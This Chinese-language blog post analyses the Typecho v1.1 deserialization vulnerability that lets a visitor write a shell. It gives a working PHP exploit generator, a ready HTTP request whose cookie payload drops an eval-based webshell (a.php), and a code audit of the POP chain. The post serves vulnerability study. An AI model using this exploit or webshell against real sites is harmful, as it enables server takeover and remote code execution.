Typecho v1.1 前台Getshell漏洞分析

Typecho v1.1-15.5.12 前台反序列化可写Shell。
这个洞出了得有一个月了,当时出的时候想要审一下,但是PHP水平不太够,没审出来,于是等了等大牛们的博客。重新梳理了下流程,在此记录一下。

0x00 源码下载

https://github.com/typecho/typecho/releases/tag/v1.1-15.5.12-beta

0x01 Payload

1. Exp生成脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php 
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";
private $_type;
private $_charset;
private $_lang;
private $_version;
private $_items = array();

public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en')
{
$this->_version = $version;
$this->_type = $type;
$this->_charset = $charset;
$this->_lang = $lang;
}
public function addItem(array $item)
{
$this->_items[] = $item;
}
}
class Typecho_Request
{
private $_params = array('screenName' => "file_put_contents('a.php', '<?php eval(\$_POST[1]);?>')");
private $_filter = array('assert');
}
$p1 = new Typecho_Feed(1);
$p2 = new Typecho_Request();
$p1->addItem(array('author' => $p2));
$exp = array('adapter' => $p1, 'prefix' => 'MengChen');
echo base64_encode(serialize($exp));

2. http请求包

1
2
3
4
5
6
7
8
9
10
GET /typecho/install.php?finish=233 HTTP/1.1
Host: 10.10.10.135
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NTp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIyOiIAVHlwZWNob19GZWVkAF9jaGFyc2V0IjtzOjU6IlVURi04IjtzOjE5OiIAVHlwZWNob19GZWVkAF9sYW5nIjtzOjI6ImVuIjtzOjIyOiIAVHlwZWNob19GZWVkAF92ZXJzaW9uIjtpOjE7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTQ6ImZpbGVfcHV0X2NvbnRlbnRzKCdhLnBocCcsICc8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoiTWVuZ0NoZW4iO30=
Referer: http://10.10.10.135/typecho/install.php
Connection: keep-alive
Upgrade-Insecure-Requests: 1

效果就是会在网站目录下生成一个名为a.php的shell,密码为1

3. 效果图

0x02 漏洞原理分析

1. 正向代码审计

install.php文件中,首先在第59-77行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}

// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}

$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port'])) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}

if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}

绕过这里需要用GET方法传入一个finish参数,然后再加入一个同源的Referer即可。

然后往下,在第229-235行,存在一个很明显的反序列化操作。

1
2
3
4
5
6
7
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

在这里,可以通过cookie把一个序列化的变量反序列化后存入变量$config,然后在实例化Typecho_Db类时作为参数传入。全局搜索Typecho_Db类。

文件路径为/var/Typecho/Db.php

Db.php文件Typecho_Db类的构造函数中,第120行,存在一个字符串拼接操作

1
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

假设$adapterName是一个实例化的类,那么在进行该操作时,会触发类的__toString()魔术方法。

然后再寻找定义了__toString()方法的类。

找到三个

1
2
3
/var/Typecho/Config.php
/var/Typecho/Feed.php
/var/Typecho/Query.php

分别跟进进行审计。

Feed.php中,第290行__toString()方法中。

1
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;\

在这里调用了Feed.php中类Typecho_Feed的一个私有数组成员$_items的值,这个值我们可以控制,于是又用到了另一个魔术方法__get()。

__get会在读取不可访问的属性的值的时候调用
无法访问的属性包括两类:不存在的属性、私有属性

因此,我们可以通过该处调用某个类的__get()魔术方法。

全局搜索下,分别跟进。

/var/Typecho/Requests.php中,Typecho_Request类里第269-272行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function __get($key)
{
return $this->get($key);
}
在这进入了第295-311行,get()中
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}

$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

然后在第159行,进入_applyFilter()方法中

1
2
3
4
5
6
7
8
9
10
11
12
13
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}

$this->_filter = array();
}

return $value;
}

在第164行,有个很醒目的call_user_func()函数。
call_user_func()是PHP的内置函数,该函数允许用户调用直接写的函数并传入一定的参数,这里就是代码执行的地方。

2. Payload构造逻辑

首先,我们利用cookie传入一个序列化后的数组,数组中有个键为'adapter'、值为一个实例化的Typecho_Feed()类的键值对。

在实例化Typecho_Db类时,实例化后的Typecho_Feed类在Db.php中第120行进行了字符串拼接操作,调用了Typecho_Feed类的__toString()方法。

于是进入了Feed.php第223行的__toString()方法中。在类Typecho_Feed()类中有个私有化数组成员$_items,
在第284行对该数组进行了遍历,然后在第290行对$item['author']这个实例化的screenName成员进行操作。

1
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

如果$item['author']这个实例化的类中没有screenName这个成员或者这个成员是私有的,则会调用该实例化类的__get()魔术方法,
并且$item['author']这个类我们是可以控制的,因此令它为Typecho_Request这个类,因为Typecho_Request中没有screenName这个成员
然后就调用的screenName__get()魔术方法,传入了一个值为screenName$key,进入Request.php第295行Typecho_Request类的$_params[]中。

有键为screenName的键值对,就将它的值传入$value中,然后进入了_applyFilter()这个方法中,如果类Typecho_Request的成员_filter存在,就将其的值遍历作为函数名。
传入call_user_func($filter, $value);中,而get()方法中处理的$value就作为所执行函数的值传入其中`。于此代码执行

简单的说,在这个流程中,call_user_func()函数的两个参数我们都可控,
于是在此构成了任意代码执行。

整个POP链就是

Typecho_Db类构造函数 –> Typecho_Feed类的__toString()魔术方法 –> Typecho_Request类的__get()魔术方法 –> Typecho_Request类的get()方法 –>
Typecho_Request类的_applyFilter()方法 –>
call_user_func()执行任意代码

0x03 PHP魔术方法

  • __construct(),类的构造函数
  • __destruct(),类的析构函数
  • __call(),在对象中调用一个不可访问方法时调用
  • __callStatic(),用静态方式中调用一个不可访问方法时调用
  • __get(),获得一个类的成员变量时调用
  • __set(),设置一个类的成员变量时调用
  • __isset(),当对不可访问属性调用isset()或empty()时调用
  • __unset(),当对不可访问属性调用unset()时被调用。
  • __sleep(),执行serialize()时,先会调用这个函数
  • __wakeup(),执行unserialize()时,先会调用这个函数
  • __toString(),类被当成字符串时的回应方法
  • __invoke(),调用函数的方式调用一个对象时的回应方法
  • __set_state(),调用var_export()导出类时,此静态方法会被调用。
  • __clone(),当对象复制完成时调用

0x04 参考